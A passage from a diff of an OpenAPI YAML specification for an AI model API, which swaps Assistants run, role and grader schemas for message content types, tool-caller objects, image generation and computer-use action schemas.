+ description: The filename of the container file cited.
+ type: object
+ required:
+ - type
+ - container_id
+ - file_id
+ - start_index
+ - end_index
+ - filename
+ title: Container file citation
+ description: A citation for a container file used to generate a model response.
+ Annotation:
+ discriminator:
+ propertyName: type
+ description: An annotation that applies to a span of output text.
+ anyOf:
+ - $ref: '#/components/schemas/FileCitationBody'
+ - $ref: '#/components/schemas/UrlCitationBody'
+ - $ref: '#/components/schemas/ContainerFileCitationBody'
+ - $ref: '#/components/schemas/FilePath'
+ TopLogProb:
+ properties:
+ token:
+ type: string
+ logprob:
+ type: number
+ bytes:
+ items:
+ type: integer
+ type: array
+ type: object
+ required:
+ - token
+ - logprob
+ - bytes
+ title: Top log probability
+ description: The top log probability of a token.
+ LogProb:
+ properties:
+ token:
+ type: string
+ logprob:
+ type: number
+ bytes:
+ items:
+ type: integer
+ type: array
+ top_logprobs:
+ items:
+ $ref: '#/components/schemas/TopLogProb'
+ type: array
+ type: object
+ required:
+ - token
+ - logprob
+ - bytes
+ - top_logprobs
+ title: Log probability
+ description: The log probability of a token.
+ OutputTextContent:
+ properties:
+ type:
+ type: string
+ enum:
+ - output_text
+ description: The type of the output text. Always `output_text`.
+ default: output_text
+ x-stainless-const: true
+ text:
+ type: string
+ description: The text output from the model.
+ annotations:
+ items:
+ $ref: '#/components/schemas/Annotation'
+ type: array
+ description: The annotations of the text output.
+ logprobs:
+ items:
+ $ref: '#/components/schemas/LogProb'
+ type: array
+ type: object
+ required:
+ - type
+ - text
+ - annotations
+ title: Output text
+ description: A text output from the model.
+ TextContent:
+ properties:
+ type:
+ type: string
+ enum:
+ - text
+ default: text
+ x-stainless-const: true
+ text:
+ type: string
+ type: object
+ required:
+ - type
+ - text
+ title: Text Content
+ description: A text content.
+ SummaryTextContent:
+ properties:
+ type:
+ type: string
+ enum:
+ - summary_text
+ description: The type of the object. Always `summary_text`.
+ default: summary_text
+ x-stainless-const: true
+ text:
+ type: string
+ description: A summary of the reasoning output from the model so far.
+ type: object
+ required:
+ - type
+ - text
+ title: Summary text
+ description: A summary text from the model.
+ ReasoningTextContent:
+ properties:
+ type:
+ type: string
+ enum:
+ - reasoning_text
+ description: The type of the reasoning text. Always `reasoning_text`.
+ default: reasoning_text
+ x-stainless-const: true
+ text:
+ type: string
+ description: The reasoning text from the model.
+ type: object
+ required:
+ - type
+ - text
+ title: ReasoningTextContent
+ description: Reasoning text from the model.
+ RefusalContent:
+ properties:
+ type:
+ type: string
+ enum:
+ - refusal
+ description: The type of the refusal. Always `refusal`.
+ default: refusal
+ x-stainless-const: true
+ refusal:
+ type: string
+ description: The refusal explanation from the model.
+ type: object
+ required:
+ - type
+ - refusal
+ title: Refusal
+ description: A refusal from the model.
+ ImageDetail:
+ type: string
+ enum:
+ - low
+ - high
+ - auto
+ - original
+ InputImageContent:
properties:
- object:
+ type:
type: string
enum:
- - role.deleted
- description: Always `role.deleted`.
+ - input_image
+ description: The type of the input item. Always `input_image`.
+ default: input_image
x-stainless-const: true
- id:
- type: string
- description: Identifier of the deleted role.
- deleted:
- type: boolean
- description: Whether the role was deleted.
- required:
- - object
- - id
- - deleted
- x-oaiMeta:
- name: Role deletion confirmation
- example: |
- {
- "object": "role.deleted",
- "id": "role_01J1F8ROLE01",
- "deleted": true
- }
- RoleListResource:
+ image_url:
+ anyOf:
+ - type: string
+ format: uri
+ description: The URL of the image to be sent to the model. A fully qualified URL or base64 encoded image in a data URL.
+ - type: 'null'
+ file_id:
+ anyOf:
+ - type: string
+ description: The ID of the file to be sent to the model.
+ - type: 'null'
+ detail:
+ $ref: '#/components/schemas/ImageDetail'
+ description: The detail level of the image to be sent to the model. One of `high`, `low`, `auto`, or `original`. Defaults to `auto`.
+ prompt_cache_breakpoint:
+ $ref: '#/components/schemas/PromptCacheBreakpointConfig'
type: object
- description: Paginated list of roles assigned to a principal.
+ required:
+ - type
+ - detail
+ title: Input image
+ description: An image input to the model. Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision).
+ ComputerScreenshotContent:
properties:
- object:
+ type:
type: string
enum:
- - list
- description: Always `list`.
+ - computer_screenshot
+ description: Specifies the event type. For a computer screenshot, this property is always set to `computer_screenshot`.
+ default: computer_screenshot
x-stainless-const: true
- data:
- type: array
- description: Role assignments returned in the current page.
- items:
- $ref: '#/components/schemas/AssignedRoleDetails'
- has_more:
- type: boolean
- description: Whether additional assignments are available when paginating.
- next:
- description: Cursor to fetch the next page of results, or `null` when there are no more assignments.
+ image_url:
anyOf:
- type: string
+ format: uri
+ description: The URL of the screenshot image.
- type: 'null'
- required:
- - object
- - data
- - has_more
- - next
- x-oaiMeta:
- name: Assigned role list
- example: |
- {
- "object": "list",
- "data": [
- {
- "id": "role_01J1F8ROLE01",
- "name": "API Group Manager",
- "permissions": [
- "api.groups.read",
- "api.groups.write"
- ],
- "resource_type": "api.organization",
- "predefined_role": false,
- "description": "Allows managing organization groups",
- "created_at": 1711471533,
- "updated_at": 1711472599,
- "created_by": "user_abc123",
- "created_by_user_obj": {
- "id": "user_abc123",
- "name": "Ada Lovelace",
- "email": "ada@example.com"
- },
- "metadata": {},
- "assignment_sources": null
- }
- ],
- "has_more": false,
- "next": null
- }
- RunCompletionUsage:
- anyOf:
- - type: object
- description: Usage statistics related to the run. This value will be `null` if the run is not in a terminal state (i.e. `in_progress`, `queued`, etc.).
- properties:
- completion_tokens:
- type: integer
- description: Number of completion tokens used over the course of the run.
- prompt_tokens:
- type: integer
- description: Number of prompt tokens used over the course of the run.
- total_tokens:
- type: integer
- description: Total number of tokens used (prompt + completion).
- required:
- - prompt_tokens
- - completion_tokens
- - total_tokens
- - type: 'null'
- RunGraderRequest:
- type: object
- title: RunGraderRequest
- properties:
- grader:
- type: object
- description: The grader used for the fine-tuning job.
+ file_id:
anyOf:
- - $ref: '#/components/schemas/GraderStringCheck'
- - $ref: '#/components/schemas/GraderTextSimilarity'
- - $ref: '#/components/schemas/GraderPython'
- - $ref: '#/components/schemas/GraderScoreModel'
- - $ref: '#/components/schemas/GraderMulti'
- discriminator:
- propertyName: type
- item:
- type: object
- description: |
- The dataset item provided to the grader. This will be used to populate
- the `item` namespace. See [the guide](https://developers.openai.com/api/docs/guides/graders) for more details.
- model_sample:
- type: string
- description: |
- The model sample to be evaluated. This value will be used to populate
- the `sample` namespace. See [the guide](https://developers.openai.com/api/docs/guides/graders) for more details.
- The `output_json` variable will be populated if the model sample is a
- valid JSON string.
- required:
- - grader
- - model_sample
- RunGraderResponse:
+ - type: string
+ description: The identifier of an uploaded file that contains the screenshot.
+ - type: 'null'
+ detail:
+ $ref: '#/components/schemas/ImageDetail'
+ description: The detail level of the screenshot image to be sent to the model. One of `high`, `low`, `auto`, or `original`. Defaults to `auto`.
+ prompt_cache_breakpoint:
+ $ref: '#/components/schemas/PromptCacheBreakpointConfig'
type: object
- properties:
- reward:
- type: number
- metadata:
- type: object
- properties:
- name:
- type: string
- type:
- type: string
- errors:
- type: object
- properties:
- formula_parse_error:
- type: boolean
- sample_parse_error:
- type: boolean
- truncated_observation_error:
- type: boolean
- unresponsive_reward_error:
- type: boolean
- invalid_variable_error:
- type: boolean
- other_error:
- type: boolean
- python_grader_server_error:
- type: boolean
- python_grader_server_error_type:
- anyOf:
- - type: string
- - type: 'null'
- python_grader_runtime_error:
- type: boolean
- python_grader_runtime_error_details:
- anyOf:
- - type: string
- - type: 'null'
- model_grader_server_error:
- type: boolean
- model_grader_refusal_error:
- type: boolean
- model_grader_parse_error:
- type: boolean
- model_grader_server_error_details:
- anyOf:
- - type: string
- - type: 'null'
- required:
- - formula_parse_error
- - sample_parse_error
- - truncated_observation_error
- - unresponsive_reward_error
- - invalid_variable_error
- - other_error
- - python_grader_server_error
- - python_grader_server_error_type
- - python_grader_runtime_error
- - python_grader_runtime_error_details
- - model_grader_server_error
- - model_grader_refusal_error
- - model_grader_parse_error
- - model_grader_server_error_details
- execution_time:
- type: number
- scores:
- type: object
- additionalProperties: {}
- token_usage:
- anyOf:
- - type: integer
- - type: 'null'
- sampled_model_name:
- anyOf:
- - type: string
- - type: 'null'
- required:
- - name
- - type
- - errors
- - execution_time
- - scores
- - token_usage
- - sampled_model_name
- sub_rewards:
- type: object
- additionalProperties: {}
- model_grader_token_usage_per_model:
- type: object
- additionalProperties: {}
required:
- - reward
- - metadata
- - sub_rewards
- - model_grader_token_usage_per_model
- RunObject:
- type: object
- title: A run on a thread
- description: Represents an execution run on a [thread](https://developers.openai.com/api/docs/assistants/migration).
+ - type
+ - image_url
+ - file_id
+ - detail
+ title: Computer screenshot
+ description: A screenshot of a computer.
+ FileInputDetail:
+ type: string
+ enum:
+ - auto
+ - low
+ - high
+ InputFileContent:
properties:
- id:
- description: The identifier, which can be referenced in API endpoints.
- type: string
- object:
- description: The object type, which is always `thread.run`.
+ type:
type: string
enum:
- - thread.run
- x-stainless-const: true
- created_at:
- description: The Unix timestamp (in seconds) for when the run was created.
- type: integer
- format: unixtime
- thread_id:
- description: The ID of the [thread](https://developers.openai.com/api/docs/assistants/migration) that was executed on as a part of this run.
- type: string
- assistant_id:
- description: The ID of the [assistant](https://developers.openai.com/api/docs/assistants/migration) used for execution of this run.
- type: string
- status:
- $ref: '#/components/schemas/RunStatus'
- description: The status of the run, which can be either `queued`, `in_progress`, `requires_action`, `cancelling`, `cancelled`, `failed`, `completed`, `incomplete`, or `expired`.
- required_action:
- type: object
- description: Details on the action required to continue the run. Will be `null` if no action is required.
- nullable: true
- properties:
- type:
- description: For now, this is always `submit_tool_outputs`.
- type: string
- enum:
- - submit_tool_outputs
- x-stainless-const: true
- submit_tool_outputs:
- type: object
- description: Details on the tool outputs needed for this run to continue.
- properties:
- tool_calls:
- type: array
- description: A list of the relevant tool calls.
- items:
- $ref: '#/components/schemas/RunToolCallObject'
- required:
- - tool_calls
- required:
- - type
- - submit_tool_outputs
- last_error:
- type: object
- description: The last error associated with this run. Will be `null` if there are no errors.
- nullable: true
- properties:
- code:
- type: string
- description: One of `server_error`, `rate_limit_exceeded`, or `invalid_prompt`.
- enum:
- - server_error
- - rate_limit_exceeded
- - invalid_prompt
- message:
- type: string
- description: A human-readable description of the error.
- required:
- - code
- - message
- expires_at:
- description: The Unix timestamp (in seconds) for when the run will expire.
- type: integer
- format: unixtime
- nullable: true
- started_at:
- description: The Unix timestamp (in seconds) for when the run was started.
- type: integer
- format: unixtime
- nullable: true
- cancelled_at:
- description: The Unix timestamp (in seconds) for when the run was cancelled.
- type: integer
- format: unixtime
- nullable: true
- failed_at:
- description: The Unix timestamp (in seconds) for when the run failed.
- type: integer
- format: unixtime
- nullable: true
- completed_at:
- description: The Unix timestamp (in seconds) for when the run was completed.
- type: integer
- format: unixtime
- nullable: true
- incomplete_details:
- description: Details on why the run is incomplete. Will be `null` if the run is not incomplete.
- type: object
- nullable: true
- properties:
- reason:
- description: The reason why the run is incomplete. This will point to which specific token limit was reached over the course of the run.
- type: string
- enum:
- - max_completion_tokens
- - max_prompt_tokens
- model:
- description: The model that the [assistant](https://developers.openai.com/api/docs/assistants/migration) used for this run.
- type: string
- instructions:
- description: The instructions that the [assistant](https://developers.openai.com/api/docs/assistants/migration) used for this run.
- type: string
- tools:
- description: The list of tools that the [assistant](https://developers.openai.com/api/docs/assistants/migration) used for this run.
- default: []
- type: array
- maxItems: 20
- items:
- $ref: '#/components/schemas/AssistantTool'
- metadata:
- $ref: '#/components/schemas/Metadata'
- usage:
- $ref: '#/components/schemas/RunCompletionUsage'
- temperature:
- description: The sampling temperature used for this run. If not set, defaults to 1.
- type: number
- nullable: true
- top_p:
- description: The nucleus sampling value used for this run. If not set, defaults to 1.
- type: number
- nullable: true
- max_prompt_tokens:
- type: integer
- nullable: true
- description: |
- The maximum number of prompt tokens specified to have been used over the course of the run.
- minimum: 256
- max_completion_tokens:
- type: integer
- nullable: true
- description: |
- The maximum number of completion tokens specified to have been used over the course of the run.
- minimum: 256
- truncation_strategy:
- allOf:
- - $ref: '#/components/schemas/TruncationObject'
- - nullable: true
- tool_choice:
- allOf:
- - $ref: '#/components/schemas/AssistantsApiToolChoiceOption'
- - nullable: true
- parallel_tool_calls:
- $ref: '#/components/schemas/ParallelToolCalls'
- response_format:
- $ref: '#/components/schemas/AssistantsApiResponseFormatOption'
- nullable: true
- required:
- - id
- - object
- - created_at
- - thread_id
- - assistant_id
- - status
- - required_action
- - last_error
- - expires_at
- - started_at
- - cancelled_at
- - failed_at
- - completed_at
- - model
- - instructions
- - tools
- - metadata
- - usage
- - incomplete_details
- - max_prompt_tokens
- - max_completion_tokens
- - truncation_strategy
- - tool_choice
- - parallel_tool_calls
- - response_format
- x-oaiMeta:
- name: The run object
- beta: true
- example: |
- {
- "id": "run_abc123",
- "object": "thread.run",
- "created_at": 1698107661,
- "assistant_id": "asst_abc123",
- "thread_id": "thread_abc123",
- "status": "completed",
- "started_at": 1699073476,
- "expires_at": null,
- "cancelled_at": null,
- "failed_at": null,
- "completed_at": 1699073498,
- "last_error": null,
- "model": "gpt-5",
- "instructions": null,
- "tools": [{"type": "file_search"}, {"type": "code_interpreter"}],
- "metadata": {},
- "incomplete_details": null,
- "usage": {
- "prompt_tokens": 123,
- "completion_tokens": 456,
- "total_tokens": 579
- },
- "temperature": 1.0,
- "top_p": 1.0,
- "max_prompt_tokens": 1000,
- "max_completion_tokens": 1000,
- "truncation_strategy": {
- "type": "auto",
- "last_messages": null
- },
- "response_format": "auto",
- "tool_choice": "auto",
- "parallel_tool_calls": true
- }
- RunStepCompletionUsage:
- anyOf:
- - type: object
- description: Usage statistics related to the run step. This value will be `null` while the run step's status is `in_progress`.
- properties:
- completion_tokens:
- type: integer
- description: Number of completion tokens used over the course of the run step.
- prompt_tokens:
- type: integer
- description: Number of prompt tokens used over the course of the run step.
- total_tokens:
- type: integer
- description: Total number of tokens used (prompt + completion).
- required:
- - prompt_tokens
- - completion_tokens
- - total_tokens
- - type: 'null'
- RunStepDeltaObject:
+ - input_file
+ description: The type of the input item. Always `input_file`.
+ default: input_file
+ x-stainless-const: true
+ file_id:
+ anyOf:
+ - type: string
+ description: The ID of the file to be sent to the model.
+ - type: 'null'
+ filename:
+ type: string
+ description: The name of the file to be sent to the model.
+ file_data:
+ type: string
+ description: |
+ The content of the file to be sent to the model.
+ prompt_cache_breakpoint:
+ $ref: '#/components/schemas/PromptCacheBreakpointConfig'
+ file_url:
+ type: string
+ format: uri
+ description: The URL of the file to be sent to the model.
+ detail:
+ $ref: '#/components/schemas/FileInputDetail'
+ description: The detail level of the file to be sent to the model. Use `auto` to let the system select the detail level; for GPT-5.6 and later models, `auto` uses high-quality rendering, which may increase input token usage. Use `low` for lower-cost rendering, or `high` to render the file at higher quality. Defaults to `auto`.
type: object
- title: Run step delta object
- description: |
- Represents a run step delta i.e. any changed fields on a run step during streaming.
+ required:
+ - type
+ title: Input file
+ description: A file input to the model.
+ MessagePhase-2:
+ type: string
+ enum:
+ - commentary
+ - final_answer
+ Message:
properties:
+ type:
+ type: string
+ enum:
+ - message
+ description: The type of the message. Always set to `message`.
+ default: message
+ x-stainless-const: true
id:
- description: The identifier of the run step, which can be referenced in API endpoints.
type: string
- object:
- description: The object type, which is always `thread.run.step.delta`.
+ description: The unique ID of the message.
+ status:
+ $ref: '#/components/schemas/MessageStatus'
+ description: The status of item. One of `in_progress`, `completed`, or `incomplete`. Populated when items are returned via API.
+ role:
+ $ref: '#/components/schemas/MessageRole'
+ description: The role of the message. One of `unknown`, `user`, `assistant`, `system`, `critic`, `discriminator`, `developer`, or `tool`.
+ content:
+ items:
+ discriminator:
+ propertyName: type
+ description: A content part that makes up an input or output item.
+ anyOf:
+ - $ref: '#/components/schemas/InputTextContent'
+ - $ref: '#/components/schemas/OutputTextContent'
+ - $ref: '#/components/schemas/TextContent'
+ - $ref: '#/components/schemas/SummaryTextContent'
+ - $ref: '#/components/schemas/ReasoningTextContent'
+ - $ref: '#/components/schemas/RefusalContent'
+ - $ref: '#/components/schemas/InputImageContent'
+ - $ref: '#/components/schemas/ComputerScreenshotContent'
+ - $ref: '#/components/schemas/InputFileContent'
+ type: array
+ description: The content of the message
+ phase:
+ anyOf:
+ - $ref: '#/components/schemas/MessagePhase-2'
+ description: Labels an `assistant` message as intermediate commentary (`commentary`) or the final answer (`final_answer`). For models like `gpt-5.3-codex` and beyond, when sending follow-up requests, preserve and resend phase on all assistant messages — dropping it can degrade performance. Not used for user messages.
+ - type: 'null'
+ type: object
+ required:
+ - type
+ - id
+ - status
+ - role
+ - content
+ title: Message
+ description: A message to or from the model.
+ DirectToolCallCaller:
+ properties:
+ type:
type: string
enum:
- - thread.run.step.delta
+ - direct
+ default: direct
x-stainless-const: true
- delta:
- $ref: '#/components/schemas/RunStepDeltaObjectDelta'
+ type: object
required:
- - id
- - object
- - delta
- x-oaiMeta:
- name: The run step delta object
- beta: true
- example: |
- {
- "id": "step_123",
- "object": "thread.run.step.delta",
- "delta": {
- "step_details": {
- "type": "tool_calls",
- "tool_calls": [
- {
- "index": 0,
- "id": "call_123",
- "type": "code_interpreter",
- "code_interpreter": { "input": "", "outputs": [] }
- }
- ]
- }
- }
- }
- RunStepDeltaStepDetailsMessageCreationObject:
- title: Message creation
+ - type
+ ProgramToolCallCaller:
+ properties:
+ type:
+ type: string
+ enum:
+ - program
+ default: program
+ x-stainless-const: true
+ caller_id:
+ type: string
+ description: The call ID of the program item that produced this tool call.
type: object
- description: Details of the message creation by the run step.
+ required:
+ - type
+ - caller_id
+ ToolCallCaller:
+ discriminator:
+ propertyName: type
+ description: The execution context that produced this tool call.
+ anyOf:
+ - $ref: '#/components/schemas/DirectToolCallCaller'
+ - $ref: '#/components/schemas/ProgramToolCallCaller'
+ FunctionCallStatus:
+ type: string
+ enum:
+ - in_progress
+ - completed
+ - incomplete
+ DirectToolCallCallerParam:
properties:
type:
- description: Always `message_creation`.
type: string
enum:
- - message_creation
+ - direct
+ description: The caller type. Always `direct`.
+ default: direct
x-stainless-const: true
- message_creation:
- type: object
- properties:
- message_id:
- type: string
- description: The ID of the message that was created by this run step.
+ type: object
required:
- type
- RunStepDeltaStepDetailsToolCallsCodeObject:
- title: Code interpreter tool call
+ ProgramToolCallCallerParam:
+ properties:
+ type:
+ type: string
+ enum:
+ - program
+ description: The caller type. Always `program`.
+ default: program
+ x-stainless-const: true
+ caller_id:
+ type: string
+ maxLength: 64
+ minLength: 1
+ description: The call ID of the program item that produced this tool call.
type: object
- description: Details of the Code Interpreter tool call the run step was involved in.
+ required:
+ - type
+ - caller_id
+ ToolCallCallerParam:
+ discriminator:
+ propertyName: type
+ description: The execution context that produced this tool call.
+ anyOf:
+ - $ref: '#/components/schemas/DirectToolCallCallerParam'
+ - $ref: '#/components/schemas/ProgramToolCallCallerParam'
+ FunctionCallOutputStatusEnum:
+ type: string
+ enum:
+ - in_progress
+ - completed
+ - incomplete
+ WebSearchCallStatus:
+ type: string
+ enum:
+ - in_progress
+ - searching
+ - completed
+ - failed
+ - incomplete
+ ImageGenActionEnum:
+ type: string
+ enum:
+ - generate
+ - edit
+ - auto
+ ImageBackground:
+ type: string
+ enum:
+ - transparent
+ - opaque
+ - auto
+ ImageOutputFormat:
+ type: string
+ enum:
+ - png
+ - webp
+ - jpeg
+ ImageGenToolCall:
properties:
- index:
- type: integer
- description: The index of the tool call in the tool calls array.
+ type:
+ type: string
+ enum:
+ - image_generation_call
+ description: The type of the image generation call. Always `image_generation_call`.
+ x-stainless-const: true
id:
type: string
- description: The ID of the tool call.
+ description: The unique ID of the image generation call.
+ status:
+ type: string
+ enum:
+ - in_progress
+ - completed
+ - generating
+ - failed
+ description: The status of the image generation call.
+ result:
+ anyOf:
+ - type: string
+ description: The generated image encoded in base64.
+ - type: 'null'
+ size:
+ anyOf:
+ - anyOf:
+ - type: string
+ - type: string
+ enum:
+ - 1024x1024
+ - 1024x1536
+ - 1536x1024
+ description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
+ - type: 'null'
+ quality:
+ anyOf:
+ - type: string
+ enum:
+ - low
+ - medium
+ - high
+ - xhigh
+ - max
+ - auto
+ description: The quality of the image generated by the image generation tool call. One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
+ - type: 'null'
+ action:
+ anyOf:
+ - $ref: '#/components/schemas/ImageGenActionEnum'
+ description: The action used for image generation.
+ - type: 'null'
+ x-openai-go-optional-enum: true
+ background:
+ anyOf:
+ - $ref: '#/components/schemas/ImageBackground'
+ description: The background setting used for generation.
+ - type: 'null'
+ x-openai-go-optional-enum: true
+ output_format:
+ anyOf:
+ - $ref: '#/components/schemas/ImageOutputFormat'
+ description: The output format used for generation.
+ - type: 'null'
+ x-openai-go-optional-enum: true
+ revised_prompt:
+ anyOf:
+ - type: string
+ description: The prompt that was used after any model prompt rewriting.
+ - type: 'null'
+ type: object
+ required:
+ - type
+ - id
+ - status
+ - result
+ title: Image generation call
+ description: An image generation request made by the model.
+ ClickButtonType:
+ type: string
+ enum:
+ - left
+ - right
+ - wheel
+ - back
+ - forward
+ ClickParam:
+ properties:
type:
type: string
- description: The type of tool call. This is always going to be `code_interpreter` for this type of tool call.
enum:
- - code_interpreter
+ - click
+ description: Specifies the event type. For a click action, this property is always `click`.
+ default: click
x-stainless-const: true
- code_interpreter:
- type: object
- description: The Code Interpreter tool call definition.
- properties:
- input:
+ button:
+ $ref: '#/components/schemas/ClickButtonType'
+ description: Indicates which mouse button was pressed during the click. One of `left`, `right`, `wheel`, `back`, or `forward`.
+ x:
+ type: integer
+ description: The x-coordinate where the click occurred.
+ y:
+ type: integer
+ description: The y-coordinate where the click occurred.
+ keys:
+ anyOf:
+ - items:
type: string
- description: The input to the Code Interpreter tool call.
- outputs:
- type: array
- description: The outputs from the Code Interpreter tool call. Code Interpreter can output one or more items, including text (`logs`) or images (`image`). Each of these are represented by a different object type.
- items:
- type: object
- anyOf:
- - $ref: '#/components/schemas/RunStepDeltaStepDetailsToolCallsCodeOutputLogsObject'
- - $ref: '#/components/schemas/RunStepDeltaStepDetailsToolCallsCodeOutputImageObject'
- discriminator:
- propertyName: type
+ type: array
+ description: The keys being held while clicking.
+ - type: 'null'
+ type: object
required:
- - index
- type
- RunStepDeltaStepDetailsToolCallsCodeOutputImageObject:
- title: Code interpreter image output
- type: object
+ - button
+ - x
+ - y
+ title: Click
+ description: A click action.
+ DoubleClickAction:
properties:
- index:
- type: integer
- description: The index of the output in the outputs array.
type:
- description: Always `image`.
type: string
enum:
- - image
+ - double_click
+ description: Specifies the event type. For a double click action, this property is always set to `double_click`.
+ default: double_click
x-stainless-const: true
- image:
- type: object
- properties:
- file_id:
- description: The [file](https://developers.openai.com/api/reference/resources/files) ID of the image.
+ x:
+ type: integer
+ description: The x-coordinate where the double click occurred.
+ y:
+ type: integer
+ description: The y-coordinate where the double click occurred.
+ keys:
+ anyOf:
+ - items:
type: string
+ type: array
+ description: The keys being held while double-clicking.
+ - type: 'null'
+ type: object
required:
- - index
- type
- RunStepDeltaStepDetailsToolCallsCodeOutputLogsObject:
- title: Code interpreter log output
- type: object
- description: Text output from the Code Interpreter tool call as part of a run step.
+ - x
+ - y
+ - keys
+ title: DoubleClick
+ description: A double click action.
+ CoordParam:
properties:
- index:
+ x:
type: integer
- description: The index of the output in the outputs array.
+ description: The x-coordinate.
+ y:
+ type: integer
+ description: The y-coordinate.
+ type: object
+ required:
+ - x
+ - y
+ title: Coordinate
+ description: 'An x/y coordinate pair, e.g. `{ x: 100, y: 200 }`.'
+ DragParam:
+ properties:
type:
- description: Always `logs`.
type: string
enum:
- - logs
+ - drag
+ description: Specifies the event type. For a drag action, this property is always set to `drag`.
+ default: drag
x-stainless-const: true
- logs:
- type: string
- description: The text output from the Code Interpreter tool call.
+ path:
+ items:
+ $ref: '#/components/schemas/CoordParam'
+ type: array
+ description: |-
+ An array of coordinates representing the path of the drag action. Coordinates will appear as an array of objects, eg
+ ```
+ [
+ { x: 100, y: 200 },
+ { x: 200, y: 300 }
+ ]
+ ```
+ keys:
+ anyOf:
+ - items:
+ type: string
+ type: array
+ description: The keys being held while dragging the mouse.
+ - type: 'null'
+ type: object
required:
- - index
- type
- RunStepDeltaStepDetailsToolCallsFileSearchObject:
- title: File search tool call
- type: object
+ - path
+ title: Drag
+ description: A drag action.
+ KeyPressAction:
properties:
- index:
- type: integer
- description: The index of the tool call in the tool calls array.
- id:
- type: string
- description: The ID of the tool call object.
type:
type: string
- description: The type of tool call. This is always going to be `file_search` for this type of tool call.
enum:
- - file_search
+ - keypress
+ description: Specifies the event type. For a keypress action, this property is always set to `keypress`.
+ default: keypress
x-stainless-const: true
- file_search:
- type: object
- description: For now, this is always going to be an empty object.
- x-oaiTypeLabel: map
+ keys:
+ items:
+ type: string
+ description: One of the keys the model is requesting to be pressed.
+ type: array
+ description: The combination of keys the model is requesting to be pressed. This is an array of strings, each representing a key.
+ type: object
required:
- - index
- type
- - file_search
- RunStepDeltaStepDetailsToolCallsFunctionObject:
- type: object
- title: Function tool call
+ - keys
+ title: KeyPress
+ description: A collection of keypresses the model would like to perform.
+ MoveParam:
properties:
- index:
- type: integer
- description: The index of the tool call in the tool calls array.
- id:
- type: string
- description: The ID of the tool call object.
type:
type: string
- description: The type of tool call. This is always going to be `function` for this type of tool call.
enum:
- - function
+ - move
+ description: Specifies the event type. For a move action, this property is always set to `move`.
+ default: move
x-stainless-const: true
- function:
- type: object
- description: The definition of the function that was called.
- properties:
- name:
- type: string
- description: The name of the function.
- arguments:
- type: string
- description: The arguments passed to the function.
- output:
- anyOf:
- - type: string
- description: The output of the function. This will be `null` if the outputs have not been [submitted](https://developers.openai.com/api/docs/assistants/migration) yet.
- - type: 'null'
+ x:
+ type: integer
+ description: The x-coordinate to move to.
+ y:
+ type: integer
+ description: The y-coordinate to move to.
+ keys:
+ anyOf:
+ - items:
+ type: string
+ type: array
+ description: The keys being held while moving the mouse.
+ - type: 'null'
+ type: object
required:
- - index
- type
- RunStepDeltaStepDetailsToolCallsObject:
- title: Tool calls
- type: object
- description: Details of the tool call.
+ - x
+ - y
+ title: Move
+ description: A mouse move action.
+ ScreenshotParam:
properties:
type:
- description: Always `tool_calls`.
type: string
enum:
- - tool_calls
+ - screenshot
+ description: Specifies the event type. For a screenshot action, this property is always set to `screenshot`.
+ default: screenshot
x-stainless-const: true
- tool_calls:
- type: array
- description: |
- An array of tool calls the run step was involved in. These can be associated with one of three types of tools: `code_interpreter`, `file_search`, or `function`.
- items:
- $ref: '#/components/schemas/RunStepDeltaStepDetailsToolCall'
+ type: object
required:
- type
- RunStepDetailsMessageCreationObject:
- title: Message creation
- type: object
- description: Details of the message creation by the run step.
+ title: Screenshot
+ description: A screenshot action.
+ ScrollParam:
properties:
type:
- description: Always `message_creation`.
type: string
enum:
- - message_creation
+ - scroll
+ description: Specifies the event type. For a scroll action, this property is always set to `scroll`.
+ default: scroll
x-stainless-const: true
- message_creation:
- type: object
- properties:
- message_id:
+ x:
+ type: integer
+ description: The x-coordinate where the scroll occurred.
+ y:
+ type: integer
+ description: The y-coordinate where the scroll occurred.
+ scroll_x:
+ type: integer
+ description: The horizontal scroll distance.
+ scroll_y:
+ type: integer
+ description: The vertical scroll distance.
+ keys:
+ anyOf:
+ - items:
type: string
- description: The ID of the message that was created by this run step.
- required:
- - message_id
+ type: array
+ description: The keys being held while scrolling.
+ - type: 'null'
+ type: object
required:
- type
- - message_creation
- RunStepDetailsToolCallsCodeObject:
- title: Code Interpreter tool call
- type: object
- description: Details of the Code Interpreter tool call the run step was involved in.
+ - x
+ - y
+ - scroll_x
+ - scroll_y
+ title: Scroll
+ description: A scroll action.
+ TypeParam:
properties:
- id:
- type: string
- description: The ID of the tool call.
type:
type: string
- description: The type of tool call. This is always going to be `code_interpreter` for this type of tool call.
enum:
- - code_interpreter
+ - type
+ description: Specifies the event type. For a type action, this property is always set to `type`.
+ default: type
x-stainless-const: true
- code_interpreter:
- type: object
- description: The Code Interpreter tool call definition.
- required:
- - input
- - outputs
- properties:
- input:
- type: string
- description: The input to the Code Interpreter tool call.
- outputs:
- type: array
- description: The outputs from the Code Interpreter tool call. Code Interpreter can output one or more items, including text (`logs`) or images (`image`). Each of these are represented by a different object type.
- items:
- type: object
- anyOf:
- - $ref: '#/components/schemas/RunStepDetailsToolCallsCodeOutputLogsObject'
- - $ref: '#/components/schemas/RunStepDetailsToolCallsCodeOutputImageObject'
- discriminator:
- propertyName: type
+ text:
+ type: string
+ description: The text to type.
+ type: object
required:
- - id
- type
- - code_interpreter
- RunStepDetailsToolCallsCodeOutputImageObject:
- title: Code Interpreter image output
- type: object
+ - text
+ title: Type
+ description: An action to type in text.
+ WaitParam:
properties:
type:
- description: Always `image`.
type: string
enum:
- - image
+ - wait
+ description: Specifies the event type. For a wait action, this property is always set to `wait`.
+ default: wait
x-stainless-const: true
- image:
- type: object
- properties:
- file_id:
- description: The [file](https://developers.openai.com/api/reference/resources/files) ID of the image.
- type: string
- required:
- - file_id
+ type: object
required:
- type
- - image
- x-stainless-naming:
- java:
- type_name: ImageOutput
- kotlin:
- type_name: ImageOutput
- RunStepDetailsToolCallsCodeOutputLogsObject:
- title: Code Interpreter log output
+ title: Wait
+ description: A wait action.
+ ComputerCallSafetyCheckParam:
+ properties:
+ id:
+ type: string
+ description: The ID of the pending safety check.
+ code:
+ anyOf:
+ - type: string
+ description: The type of the pending safety check.
+ - type: 'null'
+ message:
+ anyOf:
+ - type: string
+ description: Details about the pending safety check.
+ - type: 'null'
type: object
- description: Text output from the Code Interpreter tool call as part of a run step.
+ required:
+ - id
+ description: A pending safety check for the computer call.
+ ComputerCallOutputStatus:
+ type: string
+ enum:
+ - completed
+ - incomplete
+ - failed
+ ToolSearchExecutionType:
+ type: string
+ enum:
